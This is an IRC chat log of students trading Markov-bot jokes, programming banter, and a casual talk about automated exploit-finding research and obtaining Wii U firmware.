[2014-12-19T18:32:32-0500] <@awe> @ddg !w GEB
[2014-12-19T18:32:33-0500] <+awebot> awe: https://duckduckgo.com/?q=!w+GEB
[2014-12-19T18:32:43-0500] <@awe> Gödel, Escher, Bach: An Eternal Golden Braid?
[2014-12-19T18:32:54-0500] <alokpathy> YEah.
[2014-12-19T18:33:15-0500] <@awe> O ok.
[2014-12-19T18:34:03-0500] <nezorg> @markov GEB
[2014-12-19T18:34:10-0500] <+awebot> nezorg: GEB.
[2014-12-19T18:34:14-0500] <nezorg> @markov GEB
[2014-12-19T18:34:21-0500] <+awebot> nezorg: GEB.
[2014-12-19T18:34:26-0500] <@awe> GEB was only ever at the end of the sentence until now.
[2014-12-19T18:34:31-0500] <nezorg> @markov GEB
[2014-12-19T18:34:38-0500] <+awebot> nezorg: GEB.
[2014-12-19T18:34:42-0500] <nezorg> @markov GEB
[2014-12-19T18:34:49-0500] <+awebot> nezorg: GEB was useless at csaw is deeply own convenience).
[2014-12-19T18:35:24-0500] <nezorg> @markov hacker
[2014-12-19T18:35:31-0500] <+awebot> nezorg: hacker news is.
[2014-12-19T18:35:37-0500] <nezorg> ...what is it?!?!?!
[2014-12-19T18:35:40-0500] <nezorg> @markov hacker
[2014-12-19T18:35:44-0500] <alokpathy> @markov 1337
[2014-12-19T18:35:47-0500] <+awebot> nezorg: hacker.
[2014-12-19T18:35:49-0500] <@awe> HN is a load of shit.
[2014-12-19T18:35:54-0500] <+awebot> alokpathy: 1337 Python *except* that would be to evaluation order two?.
[2014-12-19T18:35:54-0500] <@awe> No joke.
[2014-12-19T18:35:56-0500] <hardmath123> @markov hardmath123
[2014-12-19T18:36:03-0500] <+awebot> hardmath123: hardmath123 JacobEdelman Tamini (Y: 3, N 3)..
[2014-12-19T18:36:05-0500] <alokpathy> @markov alokpathy
[2014-12-19T18:36:09-0500] <alokpathy> lololol
[2014-12-19T18:36:11-0500] <+awebot> alokpathy: alokpathy.
[2014-12-19T18:36:14-0500] <Hyper> awe: good, at least somebody here agrees with me
[2014-12-19T18:36:15-0500] <alokpathy> Wow
[2014-12-19T18:36:15-0500] <nezorg> @markov nezorg
[2014-12-19T18:36:16-0500] <alokpathy> deep
[2014-12-19T18:36:17-0500] <alokpathy> thank you
[2014-12-19T18:36:21-0500] <alokpathy> Also what happened to Hcnsh?
[2014-12-19T18:36:22-0500] <+awebot> nezorg: nezorg once upon it. I just pub mod with restarts occasionally useful :P.
[2014-12-19T18:36:37-0500] <nezorg> @markov awebot
[2014-12-19T18:36:44-0500] <+awebot> nezorg: awebot.
[2014-12-19T18:36:58-0500] <nezorg> @markov arbitrary
[2014-12-19T18:37:01-0500] <hardmath123> Arranging my bedroom seems to be an NP-complete problem.
[2014-12-19T18:37:04-0500] <@awe> Hyper: the moderation is terrible, and they expect us all to feel like they're the authority on what's good and what's not.
[2014-12-19T18:37:05-0500] <+awebot> nezorg: arbitrary bytes are any library.
[2014-12-19T18:37:24-0500] <alokpathy> @markov What would I say?
[2014-12-19T18:37:24-0500] <+ubuntor> @markov and
[2014-12-19T18:37:28-0500] <nezorg> @markov NP-complete
[2014-12-19T18:37:30-0500] <+awebot> alokpathy: What is not Sized. Same deal, make them I'd be very not tailored super clear (so one.
[2014-12-19T18:37:37-0500] <+awebot> ubuntor: and obeyed licenses granted special... privileges? #feminism.
[2014-12-19T18:37:39-0500] <Hyper> My biggest problem with HN is that there's so much kool aid people are drinking that I can't take them seriously
[2014-12-19T18:37:42-0500] <hardmath123> @markov I
[2014-12-19T18:37:44-0500] <+awebot> nezorg: NP-complete problem is.
[2014-12-19T18:37:49-0500] <@awe> Hyper: Right, that plays into the latter part.
[2014-12-19T18:37:51-0500] <alokpathy> @markov TSP
[2014-12-19T18:37:52-0500] <+awebot> hardmath123: I had two others hoping to begin with &'static (models::Model + framebuffer and the issue is bi, so [].
[2014-12-19T18:37:57-0500] <+ubuntor> @markov or
[2014-12-19T18:37:59-0500] <+awebot> alokpathy: That seed is unknown.
[2014-12-19T18:38:05-0500] <nezorg> there's a lot of good technical stuff on HN, you just have to ignore the comments
[2014-12-19T18:38:07-0500] <+awebot> ubuntor: or 100mb in C/C++ which has the effects would be.
[2014-12-19T18:38:11-0500] <hardmath123> or else
[2014-12-19T18:38:19-0500] <nezorg> @markov rust
[2014-12-19T18:38:21-0500] <alokpathy> So, nobody knows what happened to Hcnsh?
[2014-12-19T18:38:23-0500] <+ubuntor> @markov markov
[2014-12-19T18:38:26-0500] <+awebot> nezorg: rust where all be easy :p.
[2014-12-19T18:38:34-0500] <+awebot> ubuntor: markov chain Monte Carlo (MCMC). In favour.
[2014-12-19T18:38:36-0500] <nezorg> alokpathy: appears not!
[2014-12-19T18:38:39-0500] <Hyper> @markov Hyper
[2014-12-19T18:38:46-0500] <alokpathy> Aw, darn
[2014-12-19T18:38:46-0500] <+awebot> Hyper: Hyper would be a better as a `Arc<Box<FooBar>>` to be taken for that. There might have a *pretty* solution is heavier duty one exception for it works, then :).
[2014-12-19T18:38:57-0500] <nezorg> LOL
[2014-12-19T18:39:00-0500] <Hyper> heh
[2014-12-19T18:39:14-0500] <nezorg> @markov arch
[2014-12-19T18:39:14-0500] <alokpathy> wat
[2014-12-19T18:39:19-0500] <alokpathy> @markov ubuntu
[2014-12-19T18:39:21-0500] <+ubuntor> @markov no
[2014-12-19T18:39:21-0500] <+awebot> nezorg: arch mismatch.
[2014-12-19T18:39:29-0500] <nezorg> @markov arch
[2014-12-19T18:39:29-0500] <+awebot> alokpathy: ubuntu 14.04 docker container.. But I'm a Vec would take upwards of death?.
[2014-12-19T18:39:35-0500] <alokpathy> @markov vim
[2014-12-19T18:39:36-0500] <+awebot> ubuntor: no one case, you only two edelmans apparently.
[2014-12-19T18:39:40-0500] <alokpathy> @markov emacs
[2014-12-19T18:39:44-0500] <+awebot> nezorg: arch and George W..
[2014-12-19T18:39:52-0500] <+awebot> alokpathy: vim in between the temptation!.
[2014-12-19T18:39:56-0500] <nezorg> lol
[2014-12-19T18:39:59-0500] <+awebot> alokpathy: emacs was it?.
[2014-12-19T18:40:03-0500] <nezorg> @markov emacs
[2014-12-19T18:40:07-0500] <nezorg> @markov editor
[2014-12-19T18:40:10-0500] <+awebot> nezorg: emacs.
[2014-12-19T18:40:14-0500] <alokpathy> Solid.
[2014-12-19T18:40:14-0500] <+ubuntor> @markov why
[2014-12-19T18:40:15-0500] <Hyper> @markov ed
[2014-12-19T18:40:17-0500] <+awebot> nezorg: editor.
[2014-12-19T18:40:23-0500] <alokpathy> @markov I
[2014-12-19T18:40:25-0500] <+awebot> ubuntor: why not use FFI bindings.
[2014-12-19T18:40:32-0500] <+awebot> Hyper: ed felten, a well-known enough?.
[2014-12-19T18:40:37-0500] <+ubuntor> @markov nano
[2014-12-19T18:40:39-0500] <+awebot> alokpathy: I don't think it's taking a enum values with the thing?.
[2014-12-19T18:40:46-0500] <+awebot> ubuntor: nano :P.
[2014-12-19T18:40:50-0500] <nezorg> lol
[2014-12-19T18:40:52-0500] <hardmath123> @markov lark
[2014-12-19T18:40:53-0500] <nezorg> @markov ubuntor
[2014-12-19T18:40:58-0500] <alokpathy> @markov brackets
[2014-12-19T18:40:58-0500] <+awebot> hardmath123: lark readme above `spawn` try not working.
[2014-12-19T18:41:03-0500] <alokpathy> @markov atom
[2014-12-19T18:41:06-0500] <+awebot> nezorg: ubuntor Somebody27.
[2014-12-19T18:41:08-0500] <+ubuntor> @markov sed
[2014-12-19T18:41:11-0500] <hardmath123> @markov nearley
[2014-12-19T18:41:13-0500] <+awebot> alokpathy: brackets to make anything else ever really grateful if there a boolean algebra library?.
[2014-12-19T18:41:14-0500] <nezorg> @markov awk
[2014-12-19T18:41:20-0500] <+awebot> alokpathy: atom ftw!.
[2014-12-19T18:41:22-0500] <alokpathy> lololol
[2014-12-19T18:41:26-0500] <+ubuntor> @markov vi
[2014-12-19T18:41:27-0500] <+awebot> ubuntor: sed commands prefixed with that implements Clone because python itertools? I was wondering if my type….
[2014-12-19T18:41:34-0500] <+awebot> hardmath123: nearley.
[2014-12-19T18:41:41-0500] <+awebot> nezorg: awk w/ type aliases don't know.
[2014-12-19T18:41:45-0500] <alokpathy> @markov dropbox
[2014-12-19T18:41:48-0500] <+awebot> ubuntor: vi sitter har.
[2014-12-19T18:41:55-0500] <+awebot> alokpathy: dropbox.
[2014-12-19T18:42:05-0500] <+ubuntor> @markov teco
[2014-12-19T18:42:11-0500] <+awebot> ubuntor: That seed is unknown.
[2014-12-19T18:42:15-0500] <alokpathy> @markov taco
[2014-12-19T18:42:21-0500] <+awebot> alokpathy: That seed is unknown.
[2014-12-19T18:42:30-0500] <nezorg> @markov hack
[2014-12-19T18:42:31-0500] <alokpathy> Wow. We haven't talked about tacos.
[2014-12-19T18:42:37-0500] <+awebot> nezorg: hack that you don't think that a black suffrage..
[2014-12-19T18:42:37-0500] <alokpathy> I knew we were missing something.
[2014-12-19T18:42:46-0500] <nezorg> @markov tacos
[2014-12-19T18:42:53-0500] <+awebot> nezorg: tacos.
[2014-12-19T18:43:01-0500] <+ubuntor> taco-bout tacos?
[2014-12-19T18:43:31-0500] <nezorg> @markov elm
[2014-12-19T18:43:39-0500] <+awebot> nezorg: That seed is unknown.
[2014-12-19T18:43:44-0500] <+ubuntor> @markov befunge
[2014-12-19T18:43:45-0500] <nezorg> :(
[2014-12-19T18:43:52-0500] <+awebot> ubuntor: That seed is unknown.
[2014-12-19T18:43:55-0500] <Tamini_> this
[2014-12-19T18:44:06-0500] <Tamini_> nezorg: r u gon plan the thing
[2014-12-19T18:44:09-0500] <nezorg> @markov this
[2014-12-19T18:44:13-0500] <nezorg> Tamini_: maybe
[2014-12-19T18:44:16-0500] <+awebot> nezorg: this might be allowed to start?.
[2014-12-19T18:45:13-0500] <alokpathy> @markov gop
[2014-12-19T18:45:18-0500] <alokpathy> @markov colbert
[2014-12-19T18:45:20-0500] <+awebot> alokpathy: That seed is unknown.
[2014-12-19T18:45:21-0500] <alokpathy> Omg the last Colbert
[2014-12-19T18:45:22-0500] <alokpathy> I cried
[2014-12-19T18:45:22-0500] <alokpathy> :(
[2014-12-19T18:45:28-0500] <+awebot> alokpathy: That seed is unknown.
[2014-12-19T18:45:28-0500] <nezorg> alokpathy: yeah :'(
[2014-12-19T18:45:39-0500] <alokpathy> nezorg: The song though
[2014-12-19T18:45:41-0500] <alokpathy> it was so great
[2014-12-19T18:45:52-0500] <nezorg> :3
[2014-12-19T18:50:45-0500] <alokpathy> Isn't there a new show that's going to replace it?
[2014-12-19T18:51:04-0500] <alokpathy> When does that start?
[2014-12-19T18:51:26-0500] <@awe> I agree.
[2014-12-19T18:51:37-0500] <@awe> Hyper: would be better as an Arc<Box<FooBar>>
[2014-12-19T18:51:44-0500] <@awe> I'd much prefer him that way.
[2014-12-19T18:51:51-0500] <Hyper> q.q
[2014-12-19T18:52:00-0500] <Hyper> awe: Why can't you love me for who I am q.q
[2014-12-19T18:52:08-0500] <@awe> Because you're not thread safe!
[2014-12-19T18:52:15-0500] <Hyper> *sigh*
[2014-12-19T18:52:20-0500] <Hyper> they all say that
[2014-12-19T18:52:29-0500] <@awe> let Hyper: Arc<Box<FooBar>> = Arc::new(box Hyper);
[2014-12-19T18:52:32-0500] <@awe> Boom.
[2014-12-19T18:52:35-0500] <@awe> Wait.
[2014-12-19T18:52:53-0500] <@awe> let Hyper: Arc<Box<FooBar>> = Arc::new(box Hyper as Box<FooBar>);
[2014-12-19T18:52:55-0500] <@awe> There we go.
[2014-12-19T18:53:10-0500] <nezorg> whoever said FooBar was a trait
[2014-12-19T18:53:19-0500] <@awe> shhh.
[2014-12-19T18:53:31-0500] <@awe> It's either that or Hyper has to be of struct FooBar.
[2014-12-19T18:53:37-0500] <@awe> In which case, the first code is valid.
[2014-12-19T18:55:28-0500] <@awe> Hyper: it's okay, now that you're in an arc, you're thread-safe. <3
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[2014-12-19T19:58:56-0500] Pidgey sets mode +v JacobEdelman
[2014-12-19T19:59:04-0500] <@awe> hi JacobEdelman 
[2014-12-19T19:59:12-0500] <+JacobEdelman> hello
[2014-12-19T19:59:49-0500] <+JacobEdelman> ... why is santa claus riding a fire truck near my house?
[2014-12-19T20:00:00-0500] <alokpathy> Why not?
[2014-12-19T20:00:20-0500] <+JacobEdelman> ... cause the fire truck tradiotnally has other uses
[2014-12-19T20:00:23-0500] <+JacobEdelman> such as making fires
[2014-12-19T20:00:25-0500] <@awe> They do that every year.
[2014-12-19T20:00:28-0500] <+JacobEdelman> at least thats what I think its for
[2014-12-19T20:00:32-0500] <+JacobEdelman> (I know they do)
[2014-12-19T20:00:36-0500] <@awe> JacobEdelman: Yes! Have you ever noticed that every time there's a fire, the fire truck is there?
[2014-12-19T20:00:43-0500] <@awe> JacobEdelman: Fire trucks must cause fires!
[2014-12-19T20:00:53-0500] <alokpathy> Flawless logic.
[2014-12-19T20:00:59-0500] <alokpathy> 10/10
[2014-12-19T20:01:14-0500] <+JacobEdelman> ben says its just correlation
[2014-12-19T20:01:22-0500] <+JacobEdelman> and that there must be one thing that causes both
[2014-12-19T20:01:25-0500] <+JacobEdelman> fires and fire trucks
[2014-12-19T20:01:31-0500] <@awe> Firemen!
[2014-12-19T20:01:33-0500] <+JacobEdelman> hes just figured out what it is
[2014-12-19T20:01:37-0500] <+JacobEdelman> economy
[2014-12-19T20:01:49-0500] <+JacobEdelman> *civilization
[2014-12-19T20:01:53-0500] <+JacobEdelman> he changed it to civilization
[2014-12-19T20:02:00-0500] <+JacobEdelman> without civilization we would have no fire
[2014-12-19T20:02:05-0500] <alokpathy> We must eradicate all civilization. 
[2014-12-19T20:02:10-0500] <+JacobEdelman> and by rule of correlation or something
[2014-12-19T20:02:18-0500] <+JacobEdelman> it must also cause fires
[2014-12-19T20:02:23-0500] <+JacobEdelman> alokpathy: correct
[2014-12-19T20:02:47-0500] <alokpathy> Where do we start?
[2014-12-19T20:03:00-0500] <+JacobEdelman> with plan orang-outang 2 
[2014-12-19T20:03:14-0500] <alokpathy> Burn all of Detroit?
[2014-12-19T20:03:20-0500] <+JacobEdelman> exactly
[2014-12-19T20:03:27-0500] <+JacobEdelman> well...
[2014-12-19T20:03:33-0500] <+JacobEdelman> I think its already been destroyed
[2014-12-19T20:03:40-0500] <alokpathy> True
[2014-12-19T20:03:42-0500] <alokpathy> What's next on the list?
[2014-12-19T20:05:22-0500] <@awe> https://github.com/aatxe
[2014-12-19T20:05:31-0500] <@awe> I passed 1,000 commits in the year today.
[2014-12-19T20:06:51-0500] <nezorg> ...huh, that's what you look like
[2014-12-19T20:06:53-0500] <nezorg> interesting
[2014-12-19T20:07:14-0500] <@awe> Different than you expected?
[2014-12-19T20:07:14-0500] <alokpathy> awe: Wait but it says 979
[2014-12-19T20:07:23-0500] <@awe> alokpathy: 
[2014-12-19T20:07:25-0500] <@awe> alokpathy: o
[2014-12-19T20:07:31-0500] <@awe> I have a private repo
[2014-12-19T20:07:31-0500] <nezorg> sorta
[2014-12-19T20:07:33-0500] <@awe> with some commits.
[2014-12-19T20:07:36-0500] <alokpathy> Oh okay
[2014-12-19T20:07:39-0500] <@awe> nezorg: what'd you expect?
[2014-12-19T20:07:49-0500] <nezorg> idk
[2014-12-19T20:08:19-0500] <@awe> alokpathy: Yeah, it has 22 commits of mine.
[2014-12-19T20:08:40-0500] <alokpathy> I think he expected this http://media.comicbook.com/uploads1/2014/11/chris-hemsworth-sexiest-man-alive-113061.jpg
[2014-12-19T20:08:47-0500] <alokpathy> awe: Ah, makes sense now.
[2014-12-19T20:09:53-0500] <@awe> alokpathy: and I blew out his expectations by being even sexier?
[2014-12-19T20:10:06-0500] <@awe> nezorg: do I look better than expected or worse?
[2014-12-19T20:10:07-0500] <alokpathy> Exactly.
[2014-12-19T20:16:17-0500] <nezorg> awe: neither, just different
[2014-12-19T20:16:43-0500] <nezorg> also, apparently I may have supposed to have had a work permit for doing research for these fair number of months... :S
[2014-12-19T20:16:51-0500] <nezorg> I thought UCs were exempt though
[2014-12-19T20:17:16-0500] <alokpathy> Oh you do research?
[2014-12-19T20:19:30-0500] <nezorg> yeah
[2014-12-19T20:19:37-0500] <alokpathy> What kind?
[2014-12-19T20:19:43-0500] <nezorg> security stuff
[2014-12-19T20:19:46-0500] <nezorg> binary analysis
[2014-12-19T20:19:52-0500] <alokpathy> ooo, interesting.
[2014-12-19T20:20:01-0500] <nezorg> I don't actually do binary analysis myself
[2014-12-19T20:20:07-0500] <nezorg> I write code to do it for me :P
[2014-12-19T20:20:18-0500] <alokpathy> Still interesting XD
[2014-12-19T20:20:18-0500] <nezorg> we have some pretty cool stuff working
[2014-12-19T20:20:24-0500] <alokpathy> Like what?
[2014-12-19T20:20:34-0500] <nezorg> symbolic execution to automatically find exploits
[2014-12-19T20:21:31-0500] <alokpathy> Oh nice.
[2014-12-19T20:21:35-0500] <alokpathy> I think that's what PPP does too.
[2014-12-19T20:22:45-0500] <alokpathy> Lol mserrano told me that they automatically discovered a bunch of exploits in Debian 
[2014-12-19T20:22:51-0500] <alokpathy> but most of them are like
[2014-12-19T20:23:02-0500] <alokpathy> "If you have root, then you can do this buffer overflow...that gives you root."
[2014-12-19T20:23:12-0500] <nezorg> lol
[2014-12-19T20:23:20-0500] <nezorg> PPP's is more limited, though
[2014-12-19T20:23:32-0500] <nezorg> it's x86-only and pretty much only does memory corruption
[2014-12-19T20:23:36-0500] <nezorg> whereas we can find backdoors
[2014-12-19T20:23:56-0500] <nezorg> (theirs is good at what it does, though)
[2014-12-19T20:23:56-0500] <alokpathy> Ah, nice.
[2014-12-19T20:24:05-0500] <nezorg> ours supports a ton of archs
[2014-12-19T20:24:14-0500] <nezorg> x86, amd64, arm, arm64, mips, ppc
[2014-12-19T20:24:19-0500] <alokpathy> owow
[2014-12-19T20:24:48-0500] <nezorg> so, I found out something weird about my graphics in my desktop
[2014-12-19T20:24:52-0500] <@awe> nezorg: so, you can get arbitrary code execution on PPC systems automatically?
[2014-12-19T20:25:00-0500] <nezorg> awe: huh?
[2014-12-19T20:25:00-0500] <@awe> nezorg: have you tried this on a Wii-U?
[2014-12-19T20:25:04-0500] <nezorg> oh
[2014-12-19T20:25:11-0500] The_Master (uid51972@pdgn-vvu.9lf.7cuf9e.IP) joined the channel
[2014-12-19T20:25:13-0500] <nezorg> no
[2014-12-19T20:25:18-0500] <nezorg> can you get the firmware easily?
[2014-12-19T20:25:18-0500] <The_Master> yes
[2014-12-19T20:25:30-0500] <The_Master> (I have no Idea what your talking about)
[2014-12-19T20:25:35-0500] <@awe> Wii-U firmware.
[2014-12-19T20:25:48-0500] <The_Master> Oh. What about it?
[2014-12-19T20:25:49-0500] <@awe> nezorg: unsure.
[2014-12-19T20:25:56-0500] <@awe> nezorg: if you could, you could literally be like geohot.
[2014-12-19T20:26:03-0500] <nezorg> lol
[2014-12-19T20:26:03-0500] <alokpathy> The_Master: nezorg's research lets him automatically discover exploits in PPC systems.
[2014-12-19T20:26:12-0500] <alokpathy> The_Master: awe asked if he's tried it on a Wii-U.
[2014-12-19T20:26:18-0500] <nezorg> alokpathy: not really my research
[2014-12-19T20:26:23-0500] <nezorg> stuff I've contributed to though
[2014-12-19T20:26:33-0500] <nezorg> other people have done the hard stuff
[2014-12-19T20:26:40-0500] <nezorg> I worked on type inference, among other things :3
[2014-12-19T20:26:53-0500] <@awe> Ima email that professor again once the semester starts.
[2014-12-19T20:26:57-0500] <@awe> I really want to get to doing research.
[2014-12-19T20:27:03-0500] <alokpathy> awe: What prof?
[2014-12-19T20:27:14-0500] <alokpathy> Oh, wait, the guy who said you could do research?
[2014-12-19T20:27:24-0500] <@awe> The guy who my professor said would be good to talk to.
[2014-12-19T20:27:30-0500] <alokpathy> Ah okay
[2014-12-19T20:27:37-0500] <alokpathy> PLT stuff?
[2014-12-19T20:28:01-0500] <@awe> Hopefully.
[2014-12-19T20:28:21-0500] <@awe> He does that stuff, and he also does error detection and stuff.
[2014-12-19T20:28:29-0500] <nezorg> ...anyone know where I can download wii u firwmare?
[2014-12-19T20:28:33-0500] <@awe> Similar-ish to what nezorg does, but I think from the other side.
[2014-12-19T20:28:49-0500] <alokpathy> awe: What do you mean by "other side"?
[2014-12-19T20:29:01-0500] <@awe> It's made to protect the binary from exploitation, rather than exploit.
[2014-12-19T20:29:11-0500] <nezorg> boooorrrrrrring
[2014-12-19T20:29:13-0500] <nezorg> :P
[2014-12-19T20:29:14-0500] <alokpathy> Ah okay
[2014-12-19T20:29:24-0500] <@awe> nezorg: lol, I mean, that's why I like type systems.
[2014-12-19T20:29:51-0500] <nezorg> I like it when programmers like C because that means easier exploitation
[2014-12-19T20:29:57-0500] <@awe> Lol.
[2014-12-19T20:30:01-0500] <alokpathy> So cynical :P
[2014-12-19T20:30:05-0500] <@awe> nezorg: how does that stuff go over on Rust?
[2014-12-19T20:30:08-0500] <@awe> nezorg: Have you tried it?
[2014-12-19T20:30:24-0500] <nezorg> no
[2014-12-19T20:30:32-0500] <@awe> You should do that.
[2014-12-19T20:30:32-0500] <nezorg> it should theoretically work
[2014-12-19T20:30:37-0500] <nezorg> and e.g. find backdoors
[2014-12-19T20:30:50-0500] <@awe> Right. So, you should do it, and then we can submit PRs with fixes for them. :D
[2014-12-19T20:31:23-0500] <alokpathy> And then you can contribute to Rust with more than a comment :P
[2014-12-19T20:31:30-0500] <@awe> I have.
[2014-12-19T20:31:34-0500] <@awe> JacobEdelman: contributed a comment.
[2014-12-19T20:31:41-0500] <+JacobEdelman> no
[2014-12-19T20:31:50-0500] <@awe> Well, a fixed spelling of a word.
[2014-12-19T20:31:51-0500] <alokpathy> awe: I know, lol
[2014-12-19T20:31:51-0500] <+JacobEdelman> just a spelling correction in a comment
[2014-12-19T20:31:54-0500] <+JacobEdelman> :)
[2014-12-19T20:31:57-0500] <@awe> I contributed an implementation of a trait!
[2014-12-19T20:31:58-0500] <+JacobEdelman> I've also contributed to docker
[2014-12-19T20:32:01-0500] <alokpathy> awe: I meant to poke fun at him :P
[2014-12-19T20:32:01-0500] <@awe> (It was super easy)
[2014-12-19T20:32:18-0500] <+JacobEdelman> and ruby
[2014-12-19T20:32:27-0500] <+JacobEdelman> ;
[2014-12-19T20:32:30-0500] <+JacobEdelman> ;
[2014-12-19T20:32:30-0500] <alokpathy> I hear Santa
[2014-12-19T20:32:32-0500] <@awe> JacobEdelman: I hope you never call yourself a contributor to those things for real though.
[2014-12-19T20:32:45-0500] <+JacobEdelman> I'll do it but in jest
[2014-12-19T20:32:50-0500] <+JacobEdelman> and let people know it is in jest
[2014-12-19T20:32:52-0500] <nezorg> ...seriously, anyone have any ideas where I could find wii u firmware?
[2014-12-19T20:32:52-0500] <@awe> Jest is fine.
[2014-12-19T20:32:58-0500] <+JacobEdelman> on a wii u
[2014-12-19T20:33:00-0500] <+JacobEdelman> duh
[2014-12-19T20:33:07-0500] <@awe> nezorg: the japanese website maybe?
[2014-12-19T20:33:13-0500] <nezorg> where?
[2014-12-19T20:33:21-0500] <nezorg> it's not like you can flash firmware on the wii u manually
[2014-12-19T20:34:15-0500] <@awe> Dunno what this ssays
[2014-12-19T20:34:16-0500] <@awe> http://www.nintendo.co.jp/support/wiiu/system_update/
[2014-12-19T20:34:25-0500] <@awe> but maybe helpful
[2014-12-19T20:34:54-0500] <nezorg> it's just release notes
[2014-12-19T20:35:02-0500] <The_Master> @markov wii
[2014-12-19T20:35:07-0500] <@awe> Dang.
[2014-12-19T20:35:08-0500] <+JacobEdelman> well, firmware is in metal
[2014-12-19T20:35:10-0500] <+awebot> The_Master: wii u do ssl feature either assume so, bignums?.
[2014-12-19T20:35:10-0500] <+JacobEdelman> so take a magnet
[2014-12-19T20:35:13-0500] <+JacobEdelman> and pull it out
[2014-12-19T20:35:22-0500] <nezorg> JacobEdelman: oh, awesome idea!
[2014-12-19T20:35:29-0500] <@awe> nezorg: if you know anyone who has one...
[2014-12-19T20:35:33-0500] <nezorg> that's also the best way to pull data off of a hard drive
[2014-12-19T20:35:35-0500] <nezorg> awe: hmmm
[2014-12-19T20:35:42-0500] <nezorg> maybe I could justify using seclab funds? :P
[2014-12-19T20:35:47-0500] <The_Master> awe: someone with one just left my house
[2014-12-19T20:35:50-0500] <@awe> nezorg: Maybe.
[2014-12-19T20:35:53-0500] <The_Master> 5 seconds ago
[2014-12-19T20:36:00-0500] <The_Master> We played on it earlier
[2014-12-19T20:36:04-0500] <@awe> nezorg: You could probably get it off the device.
[2014-12-19T20:36:18-0500] <nezorg> The_Master: you horrible person
[2014-12-19T20:36:20-0500] <@awe> nezorg: If not, you do a firmware update while listening to the traffic on another machine
[2014-12-19T20:36:30-0500] <@awe> nezorg: and then you find the update server and DL it on your computer :D
[2014-12-19T20:36:35-0500] <The_Master> nezorg: it is in my brothers dorm
[2014-12-19T20:36:46-0500] <The_Master> brb
[2014-12-19T20:36:48-0500] <nezorg> awe: probably over TLS though :(
[2014-12-19T20:36:54-0500] <nezorg> maybe not, but I bet it is
[2014-12-19T20:37:19-0500] <@awe> Hmm, I'd be a bit surprised.
[2014-12-19T20:38:49-0500] <@awe> Nintendo and good security practices seem uhh...
[2014-12-19T20:38:59-0500] <@awe> not likely to go together.
[2014-12-19T20:39:24-0500] <nezorg> http://wiiuhax.com/aes-obfuscation-on-the-wii-u-bootrom/ this looks fun to RE
[2014-12-19T20:40:55-0500] <hardmath123> lol, Stanford Math Tournament is on Valentine's Day
[2014-12-19T20:41:16-0500] <nezorg> hardmath123: not a problem, since math is your love, right?
[2014-12-19T20:41:23-0500] <nezorg> (it's my 2nd love)
[2014-12-19T20:41:36-0500] <alokpathy> hardmath123: Perfect timing :P
[2014-12-19T20:42:02-0500] <alokpathy> Lol Carnegie Mellon Math Competition is the day after decisions came out last year.
[2014-12-19T20:42:14-0500] <@awe> alokpathy: sobs or excitement
[2014-12-19T20:42:15-0500] <hardmath123> yep. what better way to bond with your significant other than cooperating on a power round?
[2014-12-19T20:42:55-0500] <alokpathy> awe: sobs, most likely xD
[2014-12-19T20:43:02-0500] <+Tamini> lol
[2014-12-19T20:43:04-0500] <+Tamini> hardmath123, 
[2014-12-19T20:43:11-0500] <alokpathy> If decisions are on the same date this year, I might just not check them until after the competition.
[2014-12-19T20:43:13-0500] <+Tamini> doing math with a SO is more infuriating than anything :P
[2014-12-19T20:43:38-0500] <alokpathy> Tamini: What if your SO is a math person too?
[2014-12-19T20:43:48-0500] <@awe> Yes.
[2014-12-19T20:43:51-0500] <@awe> That's what she's saying.
[2014-12-19T20:43:57-0500] <@awe> Tamini: It's okay, for nezorg, math IS his SO.
[2014-12-19T20:44:17-0500] <alokpathy> What happened to sec? XD
[2014-12-19T20:45:07-0500] <@awe> he's polygamous.
[2014-12-19T20:45:19-0500] <+Tamini> lol
[2014-12-19T20:45:25-0500] <+Tamini> well
[2014-12-19T20:45:31-0500] <+Tamini> are both his SOs okay with that?
[2014-12-19T20:45:49-0500] <@awe> Math and security like eachother.
[2014-12-19T20:45:51-0500] <@awe> So, I think so.
[2014-12-19T20:46:46-0500] <alokpathy> Wow, a love triangle.
[2014-12-19T20:46:50-0500] <+JacobEdelman> well... thats still a pretty simple arrangment to the one awe has
[2014-12-19T20:47:07-0500] <hardmath123> do subjects have genders?
[2014-12-19T20:47:16-0500] <@awe> Nah.
[2014-12-19T20:47:25-0500] <@awe> They're neuter.
[2014-12-19T20:47:59-0500] <+JacobEdelman> awe's relationships are (in order of well-knowness)- one legit SO, one relationship with rust which is unable to love him back, one relationship with everybody else who he doesn;t love back, and one deep secret love with perl that the world must not know
[2014-12-19T20:48:13-0500] <+JacobEdelman> is that all of them?
[2014-12-19T20:48:15-0500] <+Tamini> im pretty sure
[2014-12-19T20:48:18-0500] <+Tamini> all my boyfriends realize
[2014-12-19T20:48:25-0500] <+Tamini> im forever going to be cheating on them with math
[2014-12-19T20:48:26-0500] <+Tamini> so itsok
[2014-12-19T20:48:36-0500] <alokpathy> "all my boyfriends"
[2014-12-19T20:48:38-0500] <alokpathy> You have several?
[2014-12-19T20:48:45-0500] <+Tamini> shh
[2014-12-19T20:48:51-0500] <@awe> Yes, she has four
[2014-12-19T20:48:52-0500] <+JacobEdelman> ... I'm confused
[2014-12-19T20:49:16-0500] <alokpathy> Tamini: My guess is me, awe, JacobEdelman, and nezorg ?
[2014-12-19T20:49:25-0500] <+JacobEdelman> what, no
[2014-12-19T20:49:27-0500] <+JacobEdelman> first of all
[2014-12-19T20:49:28-0500] <@awe> lol
[2014-12-19T20:49:31-0500] <@awe> nah
[2014-12-19T20:49:31-0500] <+JacobEdelman> she has one legit SO
[2014-12-19T20:49:46-0500] <@awe> JacobEdelman: I definitely don't love perl.
[2014-12-19T20:49:50-0500] <@awe> JacobEdelman: I hate perl with a burning passion.
[2014-12-19T20:49:51-0500] <+JacobEdelman> and the only availible people out of those 4 are you and nezorg? (maybe)
[2014-12-19T20:49:59-0500] <+JacobEdelman> awe: right :P....
[2014-12-19T20:50:04-0500] <The_Master> awe: That's what they all say
[2014-12-19T20:50:06-0500] <@awe> .-.
[2014-12-19T20:50:09-0500] <@awe> Perl is evil.
[2014-12-19T20:50:19-0500] <+JacobEdelman> okay, okay, okay
[2014-12-19T20:50:22-0500] <alokpathy> JacobEdelman: Well, I'm single. Idk about nezorg.
[2014-12-19T20:50:22-0500] <@awe> It's a visual assault against the reader.
[2014-12-19T20:50:24-0500] <+JacobEdelman> ;)
[2014-12-19T20:50:40-0500] <@awe> The only person I'd ever subject to reading perl code is JacobEdelman.
[2014-12-19T20:50:46-0500] <+JacobEdelman> hahaha
[2014-12-19T20:50:50-0500] <@awe> Maybe also Adolf Hitler.
[2014-12-19T20:51:04-0500] <+JacobEdelman> nah
